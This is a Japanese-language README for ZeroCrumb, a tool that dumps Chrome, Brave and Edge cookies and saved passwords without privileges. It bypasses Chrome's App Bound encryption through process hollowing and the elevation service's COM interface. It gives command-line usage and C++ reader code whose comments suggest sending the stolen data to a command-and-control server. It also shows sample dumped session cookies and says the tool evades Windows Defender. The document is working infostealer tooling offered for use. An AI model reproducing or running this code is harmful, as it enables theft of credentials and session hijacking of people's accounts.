
権限なしでApp Bound保護された資格情報とCookieをダンプする
権限なしで App Bound で保護された資格情報と Cookie をダンプします。
ZeroCrumb は、Transacted Hollowing を使用して Chrome インスタンスを偽装することで Chrome Elevation Service をバイパスし、IElevator COM インターフェースを使用して App Bound Key を復号できるようにします。
その後、ホロウ化された Chrome インスタンス内で実行されているキーダンパーは、復号されたキーを 名前付きパイプ 経由で ZeroCrumb に送り返します。
これにより、ZeroCrumb は先に取得したキーを使用して、指定されたブラウザの Cookie/パスワードを復号します。
ZeroCrumb での名前付きパイプの使用により、Windows API を使用できるプログラムであれば、ZeroCrumb の名前付きパイプに接続してそこから App Bound Key を読み取ることができます。
ZeroCrumb をライブラリとして使用したい場合は、キーダンパーを使用して Chrome のホロウ化を行う関数をエクスポートする DLL をコンパイルする必要があります。また、キーダンパー PE をコンパイルした DLL の .rsrc セクションに埋め込み、後でアプリケーションリソースの Windows API を使用して取得する必要があるかもしれません。
キーダンパーが同じディレクトリにある限り、任意のディレクトリで実行できます。
ZeroCrumb.exe <BROWSER_TYPE> <DUMP_TYPE>
Browser Types:
Chrome -> 0
Brave -> 1
Edge -> 2
Dump Types:
Cookies
Passwords
ZeroCrumb は、使いやすい CookieReader クラスと PasswordReader クラスを提供します:
auto reader = new CookieReader(cookiesPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::cookies);
reader->populateCookies();
for (auto& cookie : reader->cookies) {
string name = cookie->name;
string site = cookie->site;
string path = cookie->path;
string cookieValue = cookie->cookie;
// dump to file, send back to C2, etc...
}
// keep in mind passwords aren't encrypted using the app bound key (yet)
auto reader = new PasswordReader(passwordsPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::passwords);
reader->populatePasswords();
for (auto& password : reader->passwords) {
auto name = password->name;
auto site = password->site;
auto passwordValue = password->password;
// dump to file, send back to C2, etc...
}
ZeroCrumb には 2 つの Vcpkg 依存関係が必要です:
sqlite3
libsodium
$ ZeroCrumb.exe 0 Cookies
[*] Reading From Pipe...
App Bound Key: 980f8ea8af3299d966a26242.....
============
Name: SIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXxD19T0KLMkrMC-eUXkrnEFi92OXq6rj1vydvmdL73olBVQGRQ4cG_hK5sqPhO1rLd1CM
============
Name: __Secure-1PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXXC8_MNDlVbAaw512aXu-QJkl0uKNW66rhjeufotzoJhT3OPN5TuCQnfKS8l57_WGfDw
============
Name: __Secure-3PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzVVySM4FWl9itegCN2evcSmBvGc7_iXHqkKZ6VYPKmR--_LsHx1Aflar6SU4nyJiDaFq028
============
Name: udid
Site: .veepn.com
Path: /
Cookie: 0dd5b8bb-8c5b-47f3-87f9-1db8fa7d885f
============
ZeroCrumb を変更して、Cookie とパスワード以外のあらゆる種類の資格情報でも動作させることができます。
これは決してこのバイパスの最もステルス性の高い実装ではありません。特定の文字列のチェックや API のフッキングなどによって検出される可能性があります。
私がこれをテストした時点では Windows Defender を回避できましたが、他の AV は確認していません。
このバイパス実装が将来シグネチャ化された場合、バイパスをよりステルスにするのはユーザーの課題として残しておきます。